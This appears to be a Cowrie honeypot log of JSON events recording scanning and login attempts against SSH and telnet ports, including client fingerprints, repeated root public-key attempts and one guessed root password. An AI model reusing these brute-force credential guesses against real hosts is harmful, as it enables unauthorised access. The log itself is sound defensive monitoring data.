{"eventid":"cowrie.session.closed","duration":53.07870697975159,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:10:29.320442Z","src_ip":"152.42.224.71","session":"21c9fbcde275","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0047242641449,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:10:32.670977Z","src_ip":"152.42.224.71","session":"f896384cd39e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":103.89477205276489,"message":"Connection lost after 103 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:10:40.500005Z","src_ip":"152.42.224.71","session":"ed03da1a3dcb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57330,"dst_ip":"10.17.0.5","dst_port":23,"session":"3895de592951","protocol":"telnet","message":"New connection: 152.42.224.71:57330 (10.17.0.5:23) [session: 3895de592951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:10:53.483178Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.214.194","src_port":47274,"dst_ip":"10.17.0.5","dst_port":22,"session":"15eccb955d37","protocol":"ssh","message":"New connection: 208.115.214.194:47274 (10.17.0.5:22) [session: 15eccb955d37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:11:12.036411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:11:12.041510Z","src_ip":"208.115.214.194","session":"15eccb955d37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:11:12.123782Z","src_ip":"208.115.214.194","session":"15eccb955d37","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"35:72:b5:13:f9:d2:58:01:25:4e:27:b5:c3:fc:da:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0cw5g/W0zQQ8dIWYZPo3KuvUGpskvtN6eGx9MMjpA3pLlrWoTFhGtUT85IZ1yNBbxI82Cft0/L1u7u58snWz2lE9TVKCfoBQCv/Oxxq+raF596kj58ySr1seuOWGjJMN3ZbSG/lmPLpvq6jxHXCKr4aHs4HnRdBIAIh3mz9VTUpOBtTn10Ve5G5cZoZVCmgRPOyAPY3xUZfIuQ3Cv4WF+wLGBOiiLvNCpN/5DTLQ827wZg8vn3dtAzyKKHs303qVsmK+fTPa7xOWp6aDsgJzpBBGSH26IIWtoDHWAmsw4z+Tj77Z2IRsJ0XHRKYKVRPCSgjfR5PDHWK9I5WK7BsSH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 35:72:b5:13:f9:d2:58:01:25:4e:27:b5:c3:fc:da:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:11:12.495644Z","src_ip":"208.115.214.194","session":"15eccb955d37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"35:72:b5:13:f9:d2:58:01:25:4e:27:b5:c3:fc:da:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0cw5g/W0zQQ8dIWYZPo3KuvUGpskvtN6eGx9MMjpA3pLlrWoTFhGtUT85IZ1yNBbxI82Cft0/L1u7u58snWz2lE9TVKCfoBQCv/Oxxq+raF596kj58ySr1seuOWGjJMN3ZbSG/lmPLpvq6jxHXCKr4aHs4HnRdBIAIh3mz9VTUpOBtTn10Ve5G5cZoZVCmgRPOyAPY3xUZfIuQ3Cv4WF+wLGBOiiLvNCpN/5DTLQ827wZg8vn3dtAzyKKHs303qVsmK+fTPa7xOWp6aDsgJzpBBGSH26IIWtoDHWAmsw4z+Tj77Z2IRsJ0XHRKYKVRPCSgjfR5PDHWK9I5WK7BsSH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:11:12.499343Z","src_ip":"208.115.214.194","session":"15eccb955d37","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:1e:b2:1f:d8:e3:aa:9b:d0:74:88:8d:ca:f0:9e:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCZqaDkOIHYm7hgl4mW5DHNrDu/D6Y7MmWPjuocvxk2lx5YP0F6KtFmRxHzvZ7fFrxSFF3ED+uWv1q/tKYl0jbZKW9EXaf8XOa2c3g3pYdm390Wuh5t3546gKQJ4T/fqDhC7k7hYu8QgIfqNNEsxeuLD5XNX1uHJDbgkrMEbcSKE6izsBNX8RreVXj1220hkGNB2FwLx2s3RQ5zhCPBbhHnNSRNiybMfU6z7qU8O1gOMaDag0Gt4hmOgJOTV3nTOo4SrnRwuPwPImPSW8S5yNRBHVdl3OT/CHWnv2NviyF6j1ttLJxwDV3HIjU7WKw3cNGW0RSkBUxY0CuaSTFabPIXW1qh1HmAuePnxFa4fD7dyQeSJszAPnw8Emy8Z74ebXZe5q6z2dCf+P129HkbEY4bj3Ti8mI4AYN0PvE6DJUeW8nclGMmRWV5jCCNLVUxTa0lPbmsNizGCRMhx5sF4+WCmlpMiyQzXiMq20snfdt0Ax/aBLmFpbBHnPmHs6/dm9SNPgOyC0tUuMGC1zmoOwnzl51XmRxWmMiW8teEcmJLTAfy08K2CDepNTVxrKgeaa6SdkM35DJo6EnfBJJHwFaV5iaeeONUUl/nYTx7yflNCqMBZx25nCxqafuV/uqdhM4NuABNPqsk7XBR3b3k9iOH2vyyCbDwDCsCge0qzv5nHQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:1e:b2:1f:d8:e3:aa:9b:d0:74:88:8d:ca:f0:9e:69","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:11:12.578607Z","src_ip":"208.115.214.194","session":"15eccb955d37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:1e:b2:1f:d8:e3:aa:9b:d0:74:88:8d:ca:f0:9e:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCZqaDkOIHYm7hgl4mW5DHNrDu/D6Y7MmWPjuocvxk2lx5YP0F6KtFmRxHzvZ7fFrxSFF3ED+uWv1q/tKYl0jbZKW9EXaf8XOa2c3g3pYdm390Wuh5t3546gKQJ4T/fqDhC7k7hYu8QgIfqNNEsxeuLD5XNX1uHJDbgkrMEbcSKE6izsBNX8RreVXj1220hkGNB2FwLx2s3RQ5zhCPBbhHnNSRNiybMfU6z7qU8O1gOMaDag0Gt4hmOgJOTV3nTOo4SrnRwuPwPImPSW8S5yNRBHVdl3OT/CHWnv2NviyF6j1ttLJxwDV3HIjU7WKw3cNGW0RSkBUxY0CuaSTFabPIXW1qh1HmAuePnxFa4fD7dyQeSJszAPnw8Emy8Z74ebXZe5q6z2dCf+P129HkbEY4bj3Ti8mI4AYN0PvE6DJUeW8nclGMmRWV5jCCNLVUxTa0lPbmsNizGCRMhx5sF4+WCmlpMiyQzXiMq20snfdt0Ax/aBLmFpbBHnPmHs6/dm9SNPgOyC0tUuMGC1zmoOwnzl51XmRxWmMiW8teEcmJLTAfy08K2CDepNTVxrKgeaa6SdkM35DJo6EnfBJJHwFaV5iaeeONUUl/nYTx7yflNCqMBZx25nCxqafuV/uqdhM4NuABNPqsk7XBR3b3k9iOH2vyyCbDwDCsCge0qzv5nHQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:11:12.585749Z","src_ip":"208.115.214.194","session":"15eccb955d37","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"af:3e:c2:4f:d4:6f:8a:d8:72:41:4f:b9:af:12:2b:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDv9eIX6fMkAfovKh2puxApHJ6sX6fd3D51w7cwQD23untyuGspL6RwDu1wr6fdVLFKdN+Svn/cod9MgPmV37NoHbAar91oRgHcdZR1IyjAh/rmxtajPQxDlCo+mmLi/CguZhtfLV271mmx8uCQF0fAA3HdGuS+l2BaTyv0AEkMSJeGtxiV0AO9Sa8XeqoJH5mMYzIatd8nB5M7CkkHJrkav9lcQk6eQTd9vOtsfT/XD9veFKXZdRdHqP/kZM5i0vmvAdzDaiMHqG8YR2yyyjpZCS+54fXruh/4C3gQ85Ygn8sGo3kAiYCI3fH01fsLYQz1yon2KrKq6pMFLKC8PYHuAHuU6jxp5h+gLEMgpV0i97gaCAjt/p3pOlr8EtiaD9MYOpdOL7b/bpEX2QFudIeKTHrl9KGrmENIpa28yQZRL70CJvKPYLFM5xIpKxLX3IgezBI9im9FT1GhIB0D/YjR6JdQb9sfmmfzdiA7teiaxVrklo2/6GuPD8AUq7en1ys=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint af:3e:c2:4f:d4:6f:8a:d8:72:41:4f:b9:af:12:2b:4c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:11:12.664801Z","src_ip":"208.115.214.194","session":"15eccb955d37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"af:3e:c2:4f:d4:6f:8a:d8:72:41:4f:b9:af:12:2b:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDv9eIX6fMkAfovKh2puxApHJ6sX6fd3D51w7cwQD23untyuGspL6RwDu1wr6fdVLFKdN+Svn/cod9MgPmV37NoHbAar91oRgHcdZR1IyjAh/rmxtajPQxDlCo+mmLi/CguZhtfLV271mmx8uCQF0fAA3HdGuS+l2BaTyv0AEkMSJeGtxiV0AO9Sa8XeqoJH5mMYzIatd8nB5M7CkkHJrkav9lcQk6eQTd9vOtsfT/XD9veFKXZdRdHqP/kZM5i0vmvAdzDaiMHqG8YR2yyyjpZCS+54fXruh/4C3gQ85Ygn8sGo3kAiYCI3fH01fsLYQz1yon2KrKq6pMFLKC8PYHuAHuU6jxp5h+gLEMgpV0i97gaCAjt/p3pOlr8EtiaD9MYOpdOL7b/bpEX2QFudIeKTHrl9KGrmENIpa28yQZRL70CJvKPYLFM5xIpKxLX3IgezBI9im9FT1GhIB0D/YjR6JdQb9sfmmfzdiA7teiaxVrklo2/6GuPD8AUq7en1ys=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:11:12.668766Z","src_ip":"208.115.214.194","session":"15eccb955d37","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"40:e1:e3:62:b9:a1:fd:0f:df:76:9f:17:00:10:5b:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA+UJEvG/xpdrhwNlCxCjgR4XaZ+Dwn5mRkQtSsFrfFb6EsudROK3bjR3v28XmpcNOoAAwmlHugF/aVai6mNZYVpICpWjaI7iGPsGEChs6Av7is+o5jNA1JySWy+uuLZ7ir7Q9ataMg9WMWLAzGMGllfled4TS61RtnesrZ9ZNQBVawelnuIdbfkKfOhv/9lRfF8mCpTlMe1olhqNKeQEu8KXcLYZ4dZVvcgC7grRps0FU0/7HTn9XER/qiETm7D6Zyu+VOz7T+Qiyi9EEI+mT3oAixQ/eaSzU0dSMElonOjfBfSVQwFGGMQAsBWQ7CO3sPV6/3b1gF4Pi2MEMqBUuaQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 40:e1:e3:62:b9:a1:fd:0f:df:76:9f:17:00:10:5b:6a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:11:12.748683Z","src_ip":"208.115.214.194","session":"15eccb955d37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"40:e1:e3:62:b9:a1:fd:0f:df:76:9f:17:00:10:5b:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA+UJEvG/xpdrhwNlCxCjgR4XaZ+Dwn5mRkQtSsFrfFb6EsudROK3bjR3v28XmpcNOoAAwmlHugF/aVai6mNZYVpICpWjaI7iGPsGEChs6Av7is+o5jNA1JySWy+uuLZ7ir7Q9ataMg9WMWLAzGMGllfled4TS61RtnesrZ9ZNQBVawelnuIdbfkKfOhv/9lRfF8mCpTlMe1olhqNKeQEu8KXcLYZ4dZVvcgC7grRps0FU0/7HTn9XER/qiETm7D6Zyu+VOz7T+Qiyi9EEI+mT3oAixQ/eaSzU0dSMElonOjfBfSVQwFGGMQAsBWQ7CO3sPV6/3b1gF4Pi2MEMqBUuaQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:11:12.752268Z","src_ip":"208.115.214.194","session":"15eccb955d37","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:32:0a:3c:e5:dd:d7:c3:89:8f:b0:38:06:8e:28:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDCispxPR1lM2zkv4SzM7R3ExkTv+sz7biddy11tmESORYnMk6EZUg4/M8M+W17rO1mm3j+NMuGn9upuqxks8Y6AgwCozDQH7EAa4TRszCKfU1NlnM+KZHsU1gXaC5MpuVp2ixAYtvaqKq8M4Vnv6ivyU++8bdSDN0pgxruaRmhC9jZR8mJa5RlZogqWogJcKV0X3QlPzADnqTxWT+lDygOLpHRJTF1h5WoQEXN9hAFtSxMSWrBZWMvc+V7ljVbWSgD4KW1rl2ieExC056yxk+MqcI1Sb3BPD5M/jvXmIKn0IXyq2uu4vfQZWXTCzeW/awuxY4rYhxAOPlo+ZVNCnlaMwjaebo8cGCSv0cOZuwRIrwogqnC4DBW5NsDkVEe6Zp4kxiFoFUruFkzujQJBorQ+XmZ9Bw8ai6Q62NSvRXBJg4rWnoJLsSgT+pIH7+cxDCDla321OaWiS4yqrd4coQXFoWIRIJ5voG85qVxuNI9BF1jwO2jp2tVrNtFTg+iT9c=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7b:32:0a:3c:e5:dd:d7:c3:89:8f:b0:38:06:8e:28:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:11:12.832204Z","src_ip":"208.115.214.194","session":"15eccb955d37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:32:0a:3c:e5:dd:d7:c3:89:8f:b0:38:06:8e:28:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDCispxPR1lM2zkv4SzM7R3ExkTv+sz7biddy11tmESORYnMk6EZUg4/M8M+W17rO1mm3j+NMuGn9upuqxks8Y6AgwCozDQH7EAa4TRszCKfU1NlnM+KZHsU1gXaC5MpuVp2ixAYtvaqKq8M4Vnv6ivyU++8bdSDN0pgxruaRmhC9jZR8mJa5RlZogqWogJcKV0X3QlPzADnqTxWT+lDygOLpHRJTF1h5WoQEXN9hAFtSxMSWrBZWMvc+V7ljVbWSgD4KW1rl2ieExC056yxk+MqcI1Sb3BPD5M/jvXmIKn0IXyq2uu4vfQZWXTCzeW/awuxY4rYhxAOPlo+ZVNCnlaMwjaebo8cGCSv0cOZuwRIrwogqnC4DBW5NsDkVEe6Zp4kxiFoFUruFkzujQJBorQ+XmZ9Bw8ai6Q62NSvRXBJg4rWnoJLsSgT+pIH7+cxDCDla321OaWiS4yqrd4coQXFoWIRIJ5voG85qVxuNI9BF1jwO2jp2tVrNtFTg+iT9c=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:11:12.836846Z","src_ip":"208.115.214.194","session":"15eccb955d37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:11:12.915723Z","src_ip":"208.115.214.194","session":"15eccb955d37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47532,"dst_ip":"10.17.0.5","dst_port":23,"session":"306ab5a6a82d","protocol":"telnet","message":"New connection: 152.42.224.71:47532 (10.17.0.5:23) [session: 306ab5a6a82d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:11:31.163623Z"}
{"eventid":"cowrie.session.closed","duration":120.00360298156738,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:11:40.583353Z","src_ip":"152.42.224.71","session":"16b80b6f0534","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41776,"dst_ip":"10.17.0.5","dst_port":23,"session":"562c02d63cd2","protocol":"telnet","message":"New connection: 152.42.224.71:41776 (10.17.0.5:23) [session: 562c02d63cd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:11:44.746217Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":60516,"dst_ip":"10.17.0.5","dst_port":22,"session":"040ccb56c9bf","protocol":"ssh","message":"New connection: 147.45.199.80:60516 (10.17.0.5:22) [session: 040ccb56c9bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:12:20.507460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:12:20.511759Z","src_ip":"147.45.199.80","session":"040ccb56c9bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:12:20.931372Z","src_ip":"147.45.199.80","session":"040ccb56c9bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:12:21.237883Z","src_ip":"147.45.199.80","session":"040ccb56c9bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:12:22.342643Z","src_ip":"147.45.199.80","session":"040ccb56c9bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.246.122","src_port":45112,"dst_ip":"10.17.0.5","dst_port":22,"session":"1013c751e6ba","protocol":"ssh","message":"New connection: 62.210.246.122:45112 (10.17.0.5:22) [session: 1013c751e6ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:12:47.934157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:12:47.938667Z","src_ip":"62.210.246.122","session":"1013c751e6ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:12:48.021631Z","src_ip":"62.210.246.122","session":"1013c751e6ba","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e5:ad:ac:96:e5:cb:c7:26:b1:4a:7c:cc:19:51:cb:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpNL6c8oXZl8VSdkuTauQJVqeWTUdKmWURkn16bIENTDUd3sYzOZ9O4iAzznKSuw80jLhnZEOmyq4++pwc2q02xxbVRDiDkHnJ9iY6EknUDUF/GwbLQO5r1/EgXrRtypjX6R8oSDn6r4a1XzViYhiCqhTfdE4Z1XAH+hh3XABPjX29FBxQd2A/GRSbcdRxk6HG/BPGWSFWPQGrUeQDvwWZ8AfIboqG8OE14RwnO+wMuBJ0/DygB26NjYzgfRlUFd2nGv5z9FRAgige5aUcGoNPmPAyQP4vpWcAgjUK+Ae63z/8P7Gj4QUhwWenN3D3kuuZ0W45aMawNsEhGuDIynND","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e5:ad:ac:96:e5:cb:c7:26:b1:4a:7c:cc:19:51:cb:b9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:12:48.414261Z","src_ip":"62.210.246.122","session":"1013c751e6ba","protocol":"ssh"}
